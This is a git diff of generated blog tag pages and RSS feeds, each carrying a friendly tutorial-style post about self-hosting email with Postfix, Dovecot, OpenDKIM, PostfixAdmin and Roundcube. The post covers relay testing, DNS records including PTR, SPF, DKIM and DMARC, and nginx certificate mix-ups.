    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    July 24, 2026 · 17 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/dmarc/index.xml b/public-clearnet/tags/dmarc/index.xml new file mode 100644 index 0000000..a280c55 --- /dev/null +++ b/public-clearnet/tags/dmarc/index.xml @@ -0,0 +1,135 @@ +Dmarc on AlipourIm journeyshttps://blog.alipour.eu/tags/dmarc/Recent content in Dmarc on AlipourIm journeysHugo -- 0.146.0enFri, 24 Jul 2026 00:00:00 +0000Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)https://blog.alipour.eu/posts/self_hosting_mail/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/posts/self_hosting_mail/A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

    When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

    +
    +

    The Matrix certificate heist (that wasn’t a heist)

    +

    Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

    +

    No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

    +

    When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

    +

    Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

    +

    The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

    +
    +

    From Linux users to real mailboxes

    +

    The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

    +

    So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

    +

    Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

    +

    One setting decides whether this feels cursed or calm: mydestination.

    +

    That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

    +

    PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

    +

    One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

    +
    +

    Webmail without losing the plot

    +

    Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

    +

    I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

    +

    The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

    +
    +

    The bounce emails that taught me about identity

    +

    After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

    +

    The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

    +

    Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

    +

    And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

    +
    +

    What “done” means for me

    +

    For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

    +

    Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

    +

    If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

    +
    + + +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbukACgkQtYgoUOBM
    +jSo2Yw//UtI5N8jeF+LTvsVHqDbTVyD+x6qiMgRGT4Kpn86V+6NaVjrs6h+kc5Xy
    +TD9gzCfpwsyfSDBGQ2SHM+bOTlyRDfXpH37XhOGVWNymP2guXaQBytJW11N7t6Yq
    +HhcRfnS1ICk+hK1PlZzLroHcxtT7vYWyucSoeGtedufXYVAaHz/mHVY1STMBEebP
    +NvaJqU5PbuHOHICGGtPADKUB8PejmRmUrzWp/bhA6k9muQSa4Bg30GkBLisOPvKq
    +4kgsu5qV7bhB2IyS6nYb+A1QhTD5EcrMzSaqRdNZR0MV2OzW4feSKwBrJqCe5Z8O
    +4BAMhpgk4baTz0+fSjWiKSokQhizXvB6vK21qu2O+5WbkyY/LLi0klLlF2UqhKnU
    +HE3+dYsxSYXMeCMUqDBPSmkxynJYIlUqen1gVt/vrjFpXRs8jsSx+Ec6+nHiwtLu
    +O+8yqHuGOevp91MW9Ly5eXeWMspmEhC4fgBXe4Anpol3FpwkE2neIy6N6D7FSQWM
    +0k4KDrEbfIvoowTRRXmNpHV+ttSYanjzTl3oQQZ+Y9H+g+uPrfh8oUvivrj+2ZOn
    +iv9oMoW6Q3rB7V/2+jptXpswhzfO67MLcGuToI5VIWz7vvOIW7vCAeSBK6LI91iB
    +VrhS5npAuRFTLR/jGboaIsiiAhI3j4zFvgBJ4c4PatN42KODY20=
    +=KCRU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md
    +curl -fSLO https://blog.alipour.eu/sources/posts/self_hosting_mail.md.asc
    +gpg --verify self_hosting_mail.md.asc self_hosting_mail.md
    +  
    +
    + + +]]>
    \ No newline at end of file diff --git a/public-clearnet/tags/dmarc/page/1/index.html b/public-clearnet/tags/dmarc/page/1/index.html new file mode 100644 index 0000000..a05a355 --- /dev/null +++ b/public-clearnet/tags/dmarc/page/1/index.html @@ -0,0 +1,2 @@ +https://blog.alipour.eu/tags/dmarc/ + \ No newline at end of file diff --git a/public-clearnet/tags/dns/index.html b/public-clearnet/tags/dns/index.html new file mode 100644 index 0000000..b6c45a1 --- /dev/null +++ b/public-clearnet/tags/dns/index.html @@ -0,0 +1,13 @@ +Dns | AlipourIm journeys +

    Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party. +I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.) +...

    July 24, 2026 · 17 min · Iman Alipour +
    +
    +RSS + +Visitors this week:
    \ No newline at end of file diff --git a/public-clearnet/tags/dns/index.xml b/public-clearnet/tags/dns/index.xml new file mode 100644 index 0000000..68a60f4 --- /dev/null +++ b/public-clearnet/tags/dns/index.xml @@ -0,0 +1,135 @@ +Dns on AlipourIm journeyshttps://blog.alipour.eu/tags/dns/Recent content in Dns on AlipourIm journeysHugo -- 0.146.0enFri, 24 Jul 2026 00:00:00 +0000Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)https://blog.alipour.eu/posts/self_hosting_mail/Fri, 24 Jul 2026 00:00:00 +0000https://blog.alipour.eu/posts/self_hosting_mail/A friendly, story-shaped walk through hand-rolling mail on funbox: how email actually moves, what PTR/SPF/DKIM/DMARC even mean, why open relays are bad, and how Matrix stole my TLS certificate (again). +

    If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

    +

    I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

    +

    By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

    +
    +

    Why I bothered

    +

    Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

    +

    I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

    +
    +

    How email actually moves

    +

    Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

    +

    Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

    +

    When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

    +

    Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

    +

    OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

    +

    Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

    +

    Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

    +
    +

    The shape of my setup

    +

    On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

    +

    Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

    +
    +

    Port 25 is for servers; port 587 is for people

    +

    This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

    +

    Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

    +

    Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

    +

    I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

    +
    +

    What an “open relay” is, and why localhost lies to you

    +

    An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

    +

    Here’s the trick that wastes afternoons: testing from 127.0.0.1.

    +

    Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

    +

    So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

    +

    Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

    +
    +

    DNS, but make it human

    +

    The forward map (name → number)

    +

    You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

    +

    I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

    +

    Why Cloudflare’s orange cloud is not invited

    +

    Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

    +

    Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

    +
    +

    PTR records: the phonebook in reverse

    +

    This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

    +

    Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

    +

    Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

    +

    So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

    +

    You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

    +
    +

    SPF, DKIM, and DMARC: three different questions

    +

    People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

    +

    SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

    +

    DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

    +

    DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

    +

    Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

    +

    Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

    +
    +

    Building the unglamorous core

    +

    On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

    +

    Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

    +

    I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

    +

